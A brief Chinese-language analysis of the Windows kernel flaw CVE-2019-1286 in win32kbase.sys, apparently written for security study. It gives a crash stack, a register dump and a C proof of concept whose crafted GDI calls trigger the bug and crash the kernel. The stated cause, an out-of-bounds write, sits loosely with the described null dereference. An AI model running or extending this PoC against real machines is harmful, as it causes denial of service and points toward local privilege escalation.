CVE-2019-1286漏洞分析

0x00漏洞信息

漏洞影响：本地提权

漏洞文件：win32kbase.sys

漏洞函数：ulGetNearestIndexFromColorref

漏洞原因：越界写

0x01漏洞分析

由于空指针取消引用，此崩溃发生在 win32kbase!ulGetNearestIndexFromColorref+0x6f
我们知道这个 Null 指针可以用作 Windows 7 内核的内存泄漏
- 我们知道这个指针稍后会在从函数 XEPALOBJ::ulGetNearestFromPalentryNoExactMatc 返回到 win32kfull!CreateXlateObject 后使用，这可能导致越界写入

崩溃时的堆栈：

nt!DbgBreakPointWithStatus
nt!KiBugCheckDebugBreak+0x12
nt!KeBugCheck2+0x952
nt!KeBugCheckEx+0x107
nt!KiBugCheckDispatch+0x69
nt!KiSystemServiceHandler+0x7c
nt!RtlpExecuteHandlerForException+0xf
nt!RtlDispatchException+0x4a5
nt!KiDispatchException+0x16e
nt!KiExceptionDispatch+0x11d
nt!KiPageFault+0x43f
win32kbase!ulGetNearestIndexFromColorref+0x6f
win32kfull!CreateXlateObject+0x1f0
win32kfull!EXLATEOBJ::bInitXlateObj+0x1b1
win32kfull!NtGdiAlphaBlend+0x11ea03
nt!KiSystemServiceCopyEnd+0x25
win32u!NtGdiAlphaBlend+0x14
gdi32full!GdiAlphaBlend+0xd0

崩溃时寄存器：

rax=0000000000000000 rbx=0000000000000001 rcx=000000000000ffff
rdx=0000000000000000 rsi=ffffb4846f7b4da0 rdi=00000000ffffffff
rip=ffffb1cc4763d81f rsp=ffff9889380b2360 rbp=ffff9889380b2390
r8=00000000ffffffff r9=0000000000000001 r10=0000000000000001
r11=0000000000000000 r12=0000000000000000 r13=0000000000000208
r14=ffffb18182d72cc4 r15=ffffb18182d72c70
iopl=0 nv up ei pl zr na po cy
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050247
win32kbase!ulGetNearestIndexFromColorref+0x6f:
ffffb1cc`4763d81f 3b4a1c cmp ecx,dword ptr [rdx+1Ch] ds:002b:00000000`0000001c=????????

0x02poc

#include <windows.h>
#include <stdio.h>

int main()
{
    BLENDFUNCTION fn = { 0 };
    HDC r0 = CreateCompatibleDC(0x0);
    HDC r1 = CreateCompatibleDC(0x0);
    HBITMAP r2 = CreateCompatibleBitmap(r0, 0x40, 0x4);
    SelectObject(r1, r2); // NtGdiSelectBitmap
    HDC r3 = CreateCompatibleDC(0x0);
    SetLayout(r1, 0xa);
    SetBkColor(r3, 0xffffffff);
    HBITMAP r4 = CreateCompatibleBitmap(r0, 0x800004, 0x2);
    SelectObject(r3, r4); // NtGdiSelectBitmap
    __debugbreak();
    GdiAlphaBlend(r1, 0x0, 0x0, 0x2, 0x2, r3, 0x0, 0x0, 0x80000000000bf67, 0x800000001, fn);
    return 0;
}